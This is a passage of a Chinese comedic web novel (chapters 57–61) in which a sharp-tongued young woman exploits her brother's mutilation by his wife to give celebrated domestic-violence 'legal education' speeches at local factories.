她一进来就先打开一个饭盒拿出三个包子,一人一个:“爸妈还没回来,咱们赶紧吃个包子垫上几口,呆会儿大家肯定没心思吃饭。” 宋知南点头:“还是二姐想得周到,大家快吃吧。” 三人刚吃完包子,就听见邻居们在跟宋上进和李玉华打招呼。 宋知夏和宋冬宝像做贼似的,赶紧擦擦油润的嘴唇,生怕爸妈看出他们提前吃饭了。宋知南给自己倒了一茶缸温水,慢慢喝着。 宋上进和李玉华一进来就随手把门关上。 宋上进神色颓废,李玉华目光呆滞,眼睛红肿。 宋上进唉声叹气:“小南来了,我也让人通知你大姐了,她明天也该来了。咱们现在先商量商量,这个事该怎么办。” 宋知夏问:“爸,你和我妈准备谁去黑省接秋实?能请到假吗?” 宋上进说:“你妈这种情况,她去我不放心,还是我去吧。就是这一来一回的路费,再加上秋实回来要住院……” 宋知夏一脸为难,果然是找她们要钱的。 她没有开口,眼睛看着宋知南,看她怎么说。 宋知南说:“爸,我刚上班,还添了不少家具,手头没有多余的钱。” 李玉华突然大喝一声:“我给你的200块呢?你还给我!” 她这一喝,把大家吓了一跳。 宋知南语气平静:“你说那200啊,我买了东西了。我都上班了,得添新衣裳新鞋吧?我都搬新家了,得买新家具吧?平常再吃点喝点用点,早花完了。” 李玉华的眼睛死盯着宋知南:“我不信,你把钱给我!” 宋知南装作被吓到了,往桌上拍了十块钱,起身就走:“我就只有这么多,你们爱要不要。” 宋知夏想了想,也从书包里摸出10块钱放在桌上,说:“爸妈,你们知道的,我刚嫁到陈家还没掌握财政大权,我也没上班,只能出这么多了。” 宋知南往外走,李玉华拦着不让她走,她盯着宋知南的眼睛,恶狠狠地说道:“宋知南,要不是你给秋实报名下乡,他就不会娶那个挨千刀的林六宝,不娶林六宝,他就不会出这事。是你毁了他,是你毁了他的一生!” 宋知南用力甩开李玉华,淡声说道:“你再好好想想,是谁毁了他?是我把他惯得又懒又馋只想走捷径吗?是我把他养得这么愚蠢又爱自作聪明吗?他能有今天,是靠自己的努力和你们的精心培养。你甩一圈锅也甩不到我这个当妹妹的头上。下乡的男知青那么多,为啥别人都好好的,就他出事了?” 杠精值加5。 宋上进在旁边劝道:“小四,你妈这两天情绪不稳定,你多让让她。” 宋知南毫不留情地戳穿他:“你接着跟我装。她不稳定,我看你挺稳定。你俩是商量好的吧,一个唱红脸一个唱白脸,目的就是想从我们姐俩身上多榨钱。我就不信,你俩双职工,会穷得拿不出这点路费。你要真拿不出来,那就别去了。反正去了也没用,割掉的东西也长不回来了。”以现在这种医疗条件,应该是接不好的。宋秋实以后穿内裤都变宽松了。 杠精值再加5。 宋上进被拆穿后,也不装了,大吼一声:“宋知南,你说的这叫什么话?” 宋知南:“你吼,你接着吼。让左邻右舍都知道咱们家发生了什么事。” 宋上进果然不敢吼了。 杠精值再加5。 宋知南说完,猛地拉开门,再哐当一声撞上门离开了。杠精值有了,热闹也看完了,该离开了。 宋知夏说声:“我去劝劝三妹。” 宋知南一出来,邻居们的目光就刷地一下向她聚集过来。 他们感觉宋家一定出了什么不寻常的事,可又打听不出来。 大家伙就想从宋知南这儿打听点什么:“小南,你们家里又怎么了?” 宋知南的头摇得像拨浪鼓:“不行,我爸妈啥也不让我说,你们别问了。” 她越是这样,大家就越好奇,一个个心口仿佛被鹅毛戳着一样,痒痒得厉害。 他们拦着后面出来的宋知夏,宋知夏也坚决不说。 这下,他们就更好奇了。 第58章 姐妹俩出了院子, 宋知夏看前后左右无人,就小声问宋知南:“知南, 你比我有见识,你说这事该怎么处理?咱妈说要继续告林六宝,最好判她个二十年,你觉得可能吗?” 宋知南嗤之以鼻:“咱妈是法盲,就这点事,怎么可能判二十年。” 宋知南接着解释道:“大嫂跟大哥是夫妻,大嫂这种行为属于家庭暴力中,不过是程度有点严重罢了。我要是大嫂的娘家人,我就对公安说,这属于家庭内部纠纷,是小两口搞夫妻情趣时不小心把那东西给剪掉了, 主观恶意不大, 社会危害性小。大嫂认错态度好, 再适当赔偿点钱,判不了多久的。甚至有可能不用判刑, 拘留个十天半个月, 再教育教育就完事。” 宋知夏今天算是长了见识:“原来是这么回事。” 宋知南瞥了宋知夏一眼,好奇地问道:“二姐,你问这么仔细干吗?你以后不会也想效仿大嫂吧?” 宋知夏红着脸骂道:“你这家伙胡说什么呢?” 宋上进向单位请假一个星期去接宋秋实,他对外说宋秋实生了重病,当地的医疗条件没有城里好,要接回家来治病。 一个星期后,宋秋实被接回来了, 但整个人大变样,显得十分阴沉颓废, 谁也不搭理,看着就不太正常。 宋上进和李玉华像是一下子垮了,看上去老了好几岁。 邻居们纷纷猜测宋秋实到底得了什么病,无奈宋家人的嘴十分严实,什么也打探不出来。邻居们想去医院探望宋秋实,也被宋上进夫妻俩拒绝了。大家就更好奇了,到底是什么病需要避着人呢?就算是癌症也不用避人呀。 邻居们心痒难耐,去找宋知南打听,宋知南一律摇头摆手,一问三不知。 人性的一大特点就是,你越想隐藏什么,他们越揭穿什么。越是吊着他们的胃口,最后真相揭露时,大家的反应就越热烈。 宋知南就是要激发这些人的好奇心和探索欲。替宋秋实隐瞒病情,她有那么好心吗? 宋知南猜得没错,这些人见宋家人一个个讳莫如深的模样,好奇心越发强烈。 他们积极奔走,四处打探消息,这世上的事就怕认真二字,终于有人打听到了内幕消息。这个人的哥们的哥们在青阳市第一医院当保安,刚好宋秋实就住在这家医院。 宋秋实得的不是什么癌症,而是那啥没了,听说还是被媳妇剪掉的,剪完就随手扔到院子里,被狗叼走了。医生说如果当时能及时接上,至少可以充一下门面,至于能不能用另说。可现在东西都没了,说什么都晚了。 这个惊天大瓜比新闻传播得还广还快。大家三五成群地聚集在一起,热烈地讨论着。 消息传到纺织厂这边,大家见了宋知南,全都两眼放光:“小宋,你哥还好吧?对了,你哥生这么重的病,你嫂子咋没跟着一起回来呢?” 宋知南的脸上流露出一丝淡淡的哀愁,未语先叹息:“嗐,别提了。在我家里我爸妈不让提我嫂子。” 大家好心安慰宋知南:“你好好劝劝你哥可别太颓废了,想开点。” 宋知南点头:“我倒是想劝,可是我爸妈不让我去看他,我哥也不肯见我。我现在心里七上八下,六神无主。” 一个大娘听说宋知南都没见过宋秋实,又见她一副不太知情的模样,心头像被小鸭子身上的绒毛戳了一样,痒痒得难受。 她凑近宋知南,压低声音问:“小宋,你真的不知道你哥得的什么病?” 宋知南一副求知若渴的模样:“大娘,我只知道我哥生了重病,具体什么病,我爸妈一直语焉不详,问多了就发火,咱也不敢多问。你要是知道就告诉我吧,你放心,我能承受得住,我早已做好心理准备了。” “你哥呀……”大娘巴拉巴拉地把自己知道的全部说了出来。 宋知南一脸震惊,大娘对宋知南的反应特别满意,她这个当妹妹的竟然还没自己知道的内幕多。 大娘好心地安慰宋知南:“小宋,你别太伤心,想开点。” 宋知南挺会自我安慰:“没事的,我哥不过是少了块肉而已,好歹命还在。再说了咱们女同志从小就没这块肉不照样活得挺好?” 大娘不知道该怎么接这话,听上去是蛮有道理,但仔细想想又好像哪里不对。 宋知南这几天净碰到热心人,前天刚遇到一个热心大娘,今天又碰到几个好心大爷。 这几位大爷关心的是另外一件事。 一个大爷问:“小宋,你们家不追究你嫂子的责任了?她是不是得判刑啊?” 另一个抢着回答:“我觉得必须得判刑,而且还得重判,要不然以后女同志都学她这样,咱们爷们该怎么活?” 宋知南悲痛之余还不忘给他们进行普法教育:“大爷,我哥跟我嫂子是夫妻,他们之间的矛盾是家庭内部矛盾,跟外人不一样。就比如说,有的男同志打媳妇公安就不管,说是家务事,但是打陌生人就是犯罪。反过来也一样,我嫂子要是把外人的那啥给剪了,她肯定得判刑。但因为剪的是我哥的,就判不了。有个婶子告诉我说,他们俩这是搞夫妻情趣搞出格了,我嫂子没控制好手劲儿,属于意外。” 众人咂舌:“啥?啥夫妻情趣要用剪刀啊?” 宋知南表情纯洁无知:“我也不清楚,你们结过婚的不应该都知道吗?你们不用啥工具吗?” 大家连连摆手否认:“我们啥也不用,不对,我们就没那种情趣。” 宋知南:“总而言之,他们俩的事是家务事,我听我姐说,当地派出所拘留了我嫂子一个星期,他们家还赔了我们50块钱。我寻思我嫂子也挺不容易,一个柔柔弱弱的女同志,平时连鸡都不敢杀,一切都是意外。” 众人对视一眼,这个小宋真是通情达理啊,都这时候了还替嫂子说话,换了别人不恨死她才怪。 宋知南趁机抬高一下自己:“当然,从私人感情上,我也生我嫂子的气。但我毕竟是干部,就得公私分明,看事情就不能带有主观感情,得用客观理性的眼光来看。” 大家面面相觑,心说,你还是带点主观感情吧。 宋秋实这事的影响实在太大了,大家讨论了一个星期,热度仍没有下来。 李玉华整日失魂落魄精神恍惚差点出了事故,车间主任无奈,只好让她回家休息几天。 宋知南这个当事人的亲妹妹也受到了同事们的关心和问候,何黛还贴心地问她要不要请假。 宋知南摇头:“我爸请假,我妈也休假,我不能再请假了。公是公,私是私,我不能因为个人的事情影响工作。” 下午的时候,贺胜男回来了。她把宋知南叫到隔壁的小办公室里,先是安慰了宋知南几句,接下来便一脸为难地看着宋知南,一副欲言又止的模样。 宋知南主动问道:“贺主任,有什么事你就说吧。” 贺胜男十分为难地开口:“小宋啊,你家发生这种事我也挺难过,对你哥表示深切的慰问。” 宋知南:“谢谢贺主任。” 她静静地等着,贺主任接着再说下去:“就是吧,咱们工会的孙主席和厂委的领导也听说此事了,领导们看事情的角度总是和咱们不一样,他们说这个事挺有教育意义的,你哥你嫂子这事属于家庭纠纷,也在咱们妇联的管辖范围内。几位领导就想让咱们妇联做个教育专题,好好地给大家普普法,给大家伙敲敲警钟。我看事情推托不了,本来想毛遂自荐,但厂委和工会的同志一致推荐你,说你口才好会说话,就适合干这个。” 宋知南先是惊讶,接着是一脸为难,罕见的沉默不语。 贺胜男觉得挺不好意思:“小宋啊,我也知道你很为难,你要实在不愿意,我再去跟孙主席和杨主任提提。其实杨主任也反对,说对你们家的影响不好。可孙主席说,反正大家伙都知道了,瞒也瞒不住,还不如就此开展一下家庭普法教育。” 宋知南思想斗争好一会儿,突然昂起头,用坚决的语气说:“贺主任,不用跟两位领导提了,我去。公是公私是私,哪怕当事人是我哥,我也不能回避。这件事的传播范围很广,都一个多星期了热度还没下来。这说明什么?说明它对人民群众的触动特别大,这个普法教育讲座要办好了,收获会特别大。” 贺主任松了一大口气,同时也更加欣赏这位手下干将。这位小同志年纪轻轻的就如此公私分明,看问题看事情还挺有深度。 贺胜男拍拍宋知南的肩膀:“那我去给两位领导交差了,你今天提前回家吧,一是休息休息,二是准备一下稿子,等写好了拿给我,我再拿给杨主任和孙主席看。” 宋知南点头:“那我回去就写。” 宋知南回到大办公室里收拾东西,准备回家。何黛好奇地问她贺主任跟她说什么了。 宋知南也不隐瞒,全说了。 何黛诧异道:“这不好吧?让你去讲你亲哥的惨事,这不是往你伤口上撒盐吗?领导是咋想的?那些人还一致推荐你,他们就是想看你的笑话。” 宋知南反过来安慰何黛:“唉,领导看事情跟咱们不一样,他们是从大局着眼,他们说这件事极富教育意义。” 何黛才不管什么大局不大局的,她只关心宋知南的心情和感受,她问道:“那你能拒绝吗?” 宋知南摇头:“孙主席让贺主任做我的思想工作,我要是拒绝了,贺主任夹在中间不好办。贺主任对我有知遇之恩,我不能这么干。没事的,为难我一个,方便大家伙,这件事,值。” 何黛一脸佩服地看着宋知南,她觉得年底的先进职工称号就应该是宋知南的,她一点都不妒忌,因为她知道对方为了这份工作付出了什么。 宋知南收拾好东西跟何黛告辞:“阿黛,贺主任让我先回家稳定稳定情绪,再准备写个稿子,明天得交给孙主席和杨主任。我先回去,办公室的事就麻烦你了。” 何黛连忙说:“没事没事,你赶紧回去休息吧。” 宋知南离开了办公室,何黛越想越同情宋知南。 宋知南走在路上,脸上仍保持淡淡的哀愁和克制的悲伤,让观者都不由得对她心生同情。 回到家,一锁上大门,宋知南抱起毛茸茸的猫球,神情彻底放松下来,生活就是个大舞台,时时刻刻需要表演。 她先撸猫撸狗,然后吃点心喝茶,放松完毕,开始铺开稿纸写文章。她先在笔记本写下一句话:秃子当和尚,就是要会用材料。亲哥祭天,法力无边。 宋知南决定利用宋秋实打响自己的知名度,打响本地普法教育演讲第一枪。 她就是命好,别人哪有她这样的好条件?谁家的嫂子能这么给力,说剪就剪。 宋知南感慨完毕,低头奋笔疾书。 从明天开始,附近的男同志们,一见到她,某个隐秘部位就会隐隐作痛。 颤抖吧,男人们。 第59章 宋知南文思如泉涌般倾泻而出, 两个小时就把初稿写好了。她晃晃酸疼的胳膊,手写真费胳膊和手指, 写三千字能要命,还是电脑方便,她跟人对骂时,一天能敲几万字。 宋知南写一会儿,停下来喝杯茶,吃点水果,喂喂猫狗,在院子里甩着胳膊来回走几圈,再返回书房。她坐下来,趁着这口气在,一气呵成地把文稿修改好, 誊写清楚, 今天的任务就完成了。 宋知南把稿子誊写完毕, 天已黑了,她一边捏着酸疼的手指, 一边去厨房看看晚饭吃什么。懒得做复杂的饭了, 干脆煮面条吧,一把挂面一把青菜,卧两个荷包蛋。等演讲结束,她要去下馆子,好好犒劳犒劳自己。 宋知南吃完面,刷牙洗脸泡脚,带着猫狗进行安全巡视后, 回屋,锁上门, 倒头就睡。一夜无梦,第二天吃完早饭去上班。 贺胜男今天也在,宋知南把稿子交上去,贺胜男一脸意外:“这么快就写好了?” 宋知南说:“昨晚我试着抛开私人情感,站在领导的角度考虑这件事,觉得此事热度正高,咱们要趁热打铁,越快效果越好。” 贺胜男欣慰之余,竟然生出一丝佩服:“真是长江后浪推前浪,小宋你将来一定会大有前途。” 宋知南谦虚道:“主任过奖,你再夸下去我该骄傲了。” 贺胜男朗声笑道:“你骄傲点也没什么,那我先看看,一会儿再拿去给孙主席和杨主任看看。” 贺胜男说完便开始看稿子,她看着看着突然拍了一下大腿,把宋知南和何黛吓了一跳。 贺胜男出声赞道:“这稿子写得真好。小宋,你的文采可真好。我这就拿去给他们两人看。”说完,她一阵旋风似地离开了办公室。 何黛看着宋知南,遗憾地说:“能让贺主任猛拍大腿的稿子一定非常精彩,我也好想看啊。” 宋知南从书包里掏出底稿:“这是底稿,你看吧。” 何黛迫不及待地抢过去一看,她跟贺胜男一样,一边看一边拍大腿称赞,不但拍自己的大腿还拍宋知南的。 半小时后,贺胜男回来了。 她一进办公室就大声宣布道:“小宋,孙主席和杨主任都夸你的稿子写得好。正好今天机器检修,一线工人休息两个小时,孙主席趁机让你在大礼堂做个演讲。” 宋知南爽快答应:“好的,贺主任,我准备好了。” 不多时,广播里响起了吴明珠的声音:“全体职工请注意,请到大礼堂开会。”连播三遍。 工人们陆陆续续去了大礼堂。 科员们提前去布置会场,吴厂长和孙主席也来了,不过,他们没有坐在台上,而是坐在台下第一排。 大家一看这架式,就互相询问:“吴厂长、孙主席还有厂委的领导都坐在台下,那台上讲话的领导是谁呀?” 大家纷纷摇头表示不知道。 就在大家小声议论,胡乱猜测时,宋知南大步走上了主席台。 众人哗然。 “我的天,怎么是她?” “好家伙,排场够大的呀。” 魏芬的小姐妹们捅捅她:“芬,台上那个不是你邻居妹子吗?她怎么上台了?” 魏芬也不知道什么情况,但做为宋知南的姐姐,她得稳住场面,就故作轻松地说:“领导让她上台自有领导的道理,一会儿听听不就知道了。” 宋知南站在主席台上,先调试了一下话筒,喂了两声。等到大家坐定后,便朝大家点头微笑致意。 “革命的同志们,上午好。 今天我代表咱们纺织厂妇联办公室,讲一讲关于男女对象之间,夫妻之间怎么相处的问题。 虽然我没处过对象没结过婚,但我调解的矛盾多。再加上我家里发生了一些事情,引起了我的深思。由于一些不可明说的原因,我国在防范家庭暴力方面还存在着一些不足。丈夫打妻子,大家都觉得是家务事,某些公安同志也觉得是家务事。但打了陌生人就得赔礼道歉,严重些的还得拘留坐牢。同样的,妻子打丈夫,只要打不死,就是家务事。就比如我哥那事,我想大家都听说了吧。起初,我也不想说,别人问我也假装不知道。 因为我的想法跟大家伙一样,觉得家丑不可外扬。但我在厂里各位领导的开导和启发下,思想发生了巨大的变化。 我现在觉得家丑就应该外扬,家暴就应该大力宣传。警钟就应该一直长鸣,警钟而谁而鸣?为我而鸣,为你而鸣,为我们所有人而鸣。” 孙主席带头鼓掌叫好,吴厂长和其他干部也一起鼓掌,接着是后面的工人们也跟着热烈鼓掌。魏芬、王小雪、李群英她们拍得最用力。 吴明珠和陆诗月也在旁边面带微笑地看着台上。 江茶则用复杂的目光看着台上光芒万丈的宋知南。 而林光宗他们这帮男同志们,则是一边撇嘴一边敷衍地鼓掌。 宋知南继续往下说:“关于我哥的事,我说一些细节。他跟别的女人有暧昧,我嫂子心情郁闷喝了点酒,趁着酒劲就顺手拿起床头的剪刀,咔嚓一声,一剪没。从此,我少了个哥哥,多了个姐姐。” 底下的听众们噗嗤一声笑了,越笑越大声,此起彼伏的笑声响了起来,最后汇聚成爆笑。 前排的领导们在强力忍笑,他们觉得这时候笑,一是影响领导威严,二是让宋知南看见不太好。 宋知南一脸严肃,用力敲敲桌子:“大家都严肃些,不要笑。我这是在普法教育,不是在讲笑话。你们不要拿我家的惨事来当笑话。” 厚道些的听众,笑声变小了,但肩膀一耸一耸的;不厚道的听众,笑得更大声了。 宋知南一脸无奈:“唉,我为什么要披露这些细节呢,是因为我想让你们多长点教训。 你们这些男同志啊,以后都长点心吧。 别仗着你们力气比女人大,就可劲地欺负自家媳妇。俗话说得好,兔子急了还咬人呢,何况还是个经常干活的成年女人。有的女同志生得健壮,力气并不比男人小,但我们女同志不像男同志,我们都爱好和平,不把我们惹急了,我们一般不轻易动手。就拿我来说,我平常不打我弟,但他要是犯浑,我为了不给监狱输送人才,一狠心就动手打他,打得他嗷嗷叫。 我告诉你们,女同志真想动手,办法多的是。我们白天打不过,可以晚上趁你们睡着了把你捆起来打;我们平时打不过,但可以在饭菜里下点泻药,让你拉稀三四天,趁你病要你命;甚至还有些狠的,可以下点吃不死人的慢性药,医生都不一定查出来。还有的一咬牙一狠心,让你身上少块肉。这种事,一般也不判刑,就算判也判不了几年。毕竟是家务事嘛。就问你们怕不怕?” 女同志们听得津津有味,双眼放光。有人恨不得拿小本本记笔记。 男同志则咂摸出来些许不对劲,这个宋知南说得这么详细是想教人犯罪吗? 宋知南的演讲还在继续:“男同志们,我真替你们中的某些人担心啊,我哥宋秋实就是前车之鉴。你们以后一定要小心谨慎,一定管住嘴,还要管住胳膊管住腿。每当你想打骂你媳妇时,你就想想可怜的宋秋实;每当你控制不住自己时,也请多想想宋秋实。今天你控制不住的你的胳膊你的腿,明天你就只有两条腿。一个男人若是只有两条腿,你想想亲戚的目光邻居的嘴。千万不要让自己后悔。警钟长鸣,警钟为谁而鸣?为你们而鸣。”来个前后呼应,显得她很会写文章。 宋知南这次的家庭普法教育效果是显著的,结果是喜人的。而且演讲内容生动有趣,人们爱听,听完还展开了热烈讨论。据说,这几天,夫妻打架的事件减少了许多。 有的夫妻吵架,男人刚想动手,就听女人大声喊道:“我看你敢动手,你小心你的‘兄弟’,你想想可怜的宋秋实,你想变成他吗?” 男人的理智突然间就恢复了,放下了紧攥的拳头,骂骂咧咧地找哥们喝酒扯淡去了。 这一片有很多工厂,各个兄弟姐妹厂子之间都互通有无。一大早,孙主席和杨主任就接到了好几通电话,有钢铁厂的有机械厂的,还有国棉厂和食品厂的。电话内容大同小异:“老孙/老杨,我听说你们厂的那个小宋同志普法教育演讲讲得非常好,你帮个忙,让她来我们厂教育教育我们的职工。” 市里的妇联办公室也打来电话说:“有群众反映说,宋知南同志讲她哥的事讲得非常好。人民群众喜闻乐见不说,还极富教育和警示意义。你们少给她安排些工作,再给她一些补贴,给她办个巡回演讲。” 纺织长的领导还在商量讨论怎么执行上级的命令。在家休假的李玉华已经听说了此事,她气得两眼发黑,赶紧去国棉厂找宋上进,宋上进也是如丧考妣。 李玉华哭着控诉宋知南:“那个白眼狼是想叫咱们的秋实去死啊,这孩子从回来后就一声不吭,我生怕他寻了短见。她倒好,到处演讲把事情都给抖落出来了,以后秋实还怎么活?” 宋上进叹息一声:“今天领导也找我了,问我能不能让小四去国棉厂演讲。” 李玉华断然拒绝:“坚决不能答应。走,你跟我一起去找她,找她的领导。” 第60章 宋上进迟疑着, 宋知南这个女儿不能惹,谁知道她会发什么疯?可是什么也不做, 他心里也不甘心。 要不是她偷偷给秋实报名下乡,秋实也不至于落到这一步。他们精心培养疼爱了十八年的长子,如今变成了不男不女的鬼样子,他们全家遭受亲戚邻居的嘲笑。每每想起这个,他的心就如万只蚁噬心一样难受。 可宋知南倒好,一点都不愧疚不说,还拿自己亲哥的事去演讲,亏她做得出来! 让她妈去闹闹也好,反正他们是她的亲爸妈,她还能怎样? 宋上进打定主意后就跟着李玉华一起去了妇联。 李玉华领着宋上进冲进妇联办公室,先声夺人:“宋知南, 你这个狠心的白眼儿给我滚出来。” 宋知南一见到两人, 便大声说道:“爸妈, 你们听我解释。我知道大哥这样你们很伤心。可是事情已经发生了,咱们要往前看, 你们要想开些。我演讲是为了大家好, 就是为了让悲剧不再发生,让警钟长鸣。” “鸣你个头,我打死你!” 宋知南飞快地对何黛说:“你快去找杨主任和孙主席,就说我爸妈因为我演讲的事打上门了,请他们出面调解。” 她要让领导知道自己为了工作付出了多大的代价,以后升职加薪可得想着她。 何黛赶紧跑出去找人。 宋知南继续表演:“打死不要紧,只要主义真。为了国家为了人民, 我就是被打死也心甘情愿,为了解放全人类, 我可以献出自己的青春和生命,更何况是区区一件家丑。爸妈,你们的眼光要放长远些。我也是为了咱们大家好啊。” 杨主任和孙主席一听宋知南在挨爸妈的打,赶紧过来劝阻。 两位领导一来,李玉华和宋上进立即从老虎变成了病猫。宋知南没想到爸妈会这么怕领导。行,以后就这么对付他们。 杨主任和孙主席一起劝,两人动之以情,晓之以理,再告之以大义。宋上进夫妻俩只有听的份儿。 杨主任说:“小宋同志这么大了,都参加工作了,你们怎么还打骂她?我可是听说了,大家伙都怀疑她不是你俩亲生的,你们得好好反省反省,为什么大家会这么说,还不是因为你们平常对她不好?两位同志,我在这里要对你们提出批评。” 两人唯唯诺诺,低头接受批评。 孙主席觉得光批评不能解决根本问题,他还惦记着上级的指令,宋知南的这个演讲不能停。 他一咬牙一跺脚,最后做出了承诺:“小李小宋,让你们的女儿宋知南去演讲是我的主意。我觉得你们儿子的事情很有教育意义。我知道这件事让你们全家很难堪。但是,你们想一想,这事你女儿不说,别人就不知道了吗?在演讲之前,大家伙早就知道了,早就传得沸沸扬扬。我再给你交个底,如果你们两个同意让宋知南进行巡回演讲,我可以给隔壁江东省的兄弟单位打个招呼,让宋秋实去他们那儿上班,让他远离这些是是非非,你们觉得怎样?” 宋上进果然心动了,李玉华也陷入了思考。 宋秋实是办病退回城的,他那种情况在本地找工作的可能性不大,而且人人都知道他的情况,他呆下去迟早得憋疯。到外省去上班倒不失为一个好办法。孙主席说得对,反正事情已经传开了,瞒也瞒不住,小四演讲就让她演讲吧,他们装作听不见就是。 宋上进和李玉华对视一眼,宋上进说:“那就麻烦孙主席了。”这就是同意了。 宋上进和李玉华答应不再找宋知南的麻烦,宋知南也松了一口气,她心情一好就打算去医院看看宋秋实,她是个大方的人,去的时候还拎了水果罐头。 宋秋实一看到宋知南,就起了应激反应,整个人变得躁狂起来:“宋知南,你给我滚出去,我不想看见你!” 走廊里站满了人,站在那儿指指点点。 宋知南在门外说道:“大哥,你怎么可以这么对我?我可是你的亲妹妹啊。我知道你心里难受,觉得自己没用了。没关系,我理解你,我不跟你计较。”主打的就是一个大度。 众人的天平开始向宋知南倾斜:“九床的病人我知道,是没了那啥,不正常了。” “这小姑娘好可怜,好心来看哥哥却被赶出去了。” “就是啊,这姑娘多大度,还替她哥说话。” 有人突然发现了什么,问道:“那姑娘叫啥名?我听着怎么那么耳熟?” 大家还想再打听点什么,宋知南已经很“伤心”地离开了医院。 宋知夏来给宋秋实送饭,两人在医院门口碰上了。 宋知南把罐头给宋知夏:“二姐,这罐头你拿进去吧,大哥把我骂出来了。” 宋知夏满脸忧愁:“你别跟他一般见识,他现在脾气暴躁得很。你说他以后该怎么办啊?愁死我了。” 宋知南说:“他习惯了就好,咱俩没那玩意儿,不也活得挺好吗?” 宋知夏无语地看着宋知南。 宋知南接着说:“司马迁你知道不?人家被割了照样能写出《史记》;郑和你知道不?被割了照样下西洋,你说这算个啥?你回去把这两个例子讲给宋秋实听,让他趁机发奋图强。” 宋知夏默然半晌,说道:“你以后别见秋实了。我怕你把他气死。” 宋上进和李玉华不再阻挠宋知南,宋知南的巡回演讲一路畅通无阻。 她在钢铁厂演讲:“革命的同志们,我是妇联宋知南。今天我站在这里演讲,感谢领导们的鼓励,感谢我的哥哥宋秋实,他以身入局,成为我的素材,也成为了大家的反面教材。我忍着难堪忍住悲痛‘大义灭亲’。我希望类似的悲剧不再发生;我希望大家夫妻和睦,家里不再发生暴力;我希望所有的男同胞们至死都是完整的。在钢铁厂上班的人都知道,一架机器要是缺少关键零件就无法运转。同样的,一个男人要是缺少了关键零件也就废了。” 现场爆发出哄然大笑。 宋知南照例敲敲桌子:“我是在进行严肃的普法教育,请大家不要笑。” 她越是这样说,大家就笑得越开心。 宋知南的演讲在一阵笑声中结束。大家意犹未尽,挺希望她再多讲两场。 大伙听完后还热烈讨论。 钢铁厂的领导一看这效果,觉得十分满意。大笔一挥给财务批了条子,给宋知南发了20块钱的补贴,还送了她一口锃亮的铁锅并配了一个锅铲。 宋知南拎着铁锅出门,受到了大家的羡慕和妒忌。这年头,铁锅可不好买。 钢铁厂之后是机械厂,机械厂不像钢铁厂那样财大气粗,只给了她10块钱的补贴,还送了她一堆零件。宋知南现在用不上,但也收了下来,没准以后能用上呢。之后的食品厂就比较幸福了,得了一大包零食。毛巾厂送了她二十条毛巾,往后几年不用买毛巾了。 宋知南看着满屋子的东西,不禁感慨道,她这个哥哥虽然人废物又狠心,但在给素材的时候是真大方呀,给的还都是猛料。这要是换成一般的哥哥,哪有那种能量? 要不说她命好,啥好事都让她赶上了。 想完好哥哥,她又想起了自己的好嫂子,多么大方果断的一个姑娘。两人连面都没见上,姑嫂缘分说散就散了,说起来真是遗憾。 宋知南闲来无事,给前嫂子林六宝写了一封信,信里安慰她,不要太过自责,她原谅她了。因为同为女人,她能理解她的无助和疯狂,要不是哥哥做得太过分,她是不会走到这一步的。宋秋实失去的只是一个零件而已,而她林六宝失去的是对男人的信任和对婚姻的信心。她们虽然姑嫂情缘断了,但她希望林六宝以后能好好生活,把这事忘了,向前看。除了信,她还给林六宝寄去三条毛巾。毕竟这毛巾里也有林六宝的一份功劳。 宋知南只是心血来潮随手写了一封信而已,没想到的是林六宝收到信和毛巾后,感动得眼泪止不住地往下流。多好的小姑子啊,多么好的妹妹啊,可惜了。好好的一个姑娘,咋就有宋秋实那么个哥哥呢。 林六宝把宋知南的信拿给全家看,全家人都夸宋知南是个好妹妹。林六宝的爸妈拍板决定,再给宋知南寄最后一次东西,全了她和林六宝的姑嫂情。 半个月后,宋知南收到了个特别大的包裹。里面小米花生菜干肉干山货一应俱全。 何黛都惊呆了:“这么多东西,又是谁寄的啊?” 宋知南说:“是我前嫂子。” 何黛再次感慨:“你这嫂子真是个好嫂子,可惜了。” 宋知南的巡回演讲不但收获了巨大的名气,还收获了补贴和很多礼物。 所到之处,女同志们受到了深深的震撼,在她们心中播下了革命的种子;男同志们也受到了震撼,他们也说不清为什么,反正就是本能地反感畏惧宋知南。希望她这样的人越少越好。这下不但纺织厂的男同志有私下联盟,钢铁厂和机械厂也有了,他们的宗旨就是谁以后要是敢和宋知南搞对象,谁就会受到大家的鄙视和孤立。 宋知南听说后,高兴得抱着猫亲了一口,“真好,又为我以后的清净生活扫清了一波障碍。”她长得好看,灵魂丰盛有趣,工作好,名气大,还有房,要是不这么搞,得有多少不要脸的男人惦记她。幸亏她机灵,选择了这么一条康庄大道。这条路对自己有好处,对女性有好处,对社会有益处,唯有对部分男人有副作用。 宋知南带来的副作用很快就显现出来了。据纺织厂路边社报道,本周日半夜1点半,某男喝醉了暴打媳妇。该男子喝醉后,他媳妇哭哭啼啼地拿着剪刀咔嚓一下把男人的“兄弟”剪没了,又是个一剪没。 此案震惊了街坊四邻,震惊了各地的路边社。大家奔走相告,口口相传。 消息传到宋知南这里,大家恨不得拿着话筒采访她:“宋同志,这事你是咋看的?” 宋知南有着新闻发言人一样的严谨:“此事我还不清楚具体情况,不便发表意见。但是你们这些结过婚的人都知道,吵架无好嘴,打架无好手。一个男人能把媳妇逼到这个地步,可见他有多差劲。官逼民反,夫逼妻反。这个男人真是咱们无产阶级队伍里的蛀虫。我对此表示强烈的愤慨和谴责。你们呢?你们怎么看?” 大伙你看看我,我看看你,他们能怎么看?他们就是来看宋知南怎么看的。 这个新闻引起了大家的热烈讨论,那帮男人们终于知道他们为啥那么反感宋知南了,因为她在教坏女人。夫妻打架的那么多,以前咋就没听说那什么一剪没?咋她刚演讲完,就有女人开始一剪没?而且动手的女人本来是逆来顺受,是个老实女人,咋就突然变成泼妇了?要是没有宋知南手把手地教,她能想到这一招吗?榜样的力量是无穷的,坏榜样的破坏力更是无穷的。 有人写举报信举报宋知南,说她利用职权教坏妇女同志,说她破坏社会稳定和家庭和谐。 孙主席接到举报信,无奈地叹口气。他的目的是进行家庭普法教育,咋最后还变成教人犯罪了? 有人举报,他就得处理。孙主席考虑再三,最后决定让秘书王登去找宋知南谈话,给她做做思想工作,再指导她改变一下工作方法…… 王登三十岁左右,是工会的笔杆子,能说会写。听说他做思想工作就没有失过手,能把你说哭了说服了。 孙主席就是考虑到宋知南是个刺儿头,才派王登去。 60-70 第61章 王登这次是带着任务来的, 他先交给宋知南一份演讲稿,让她照着稿子再演讲一遍。 宋知南大眼一扫, 被里面满满的老登味给熏哕了。通篇都是教女人要怎么当一个好妻子的,怎么维护家庭和谐的。 宋知南问:“这稿子是谁写的?” 王登骄傲的挺起胸脯:“我写的。” 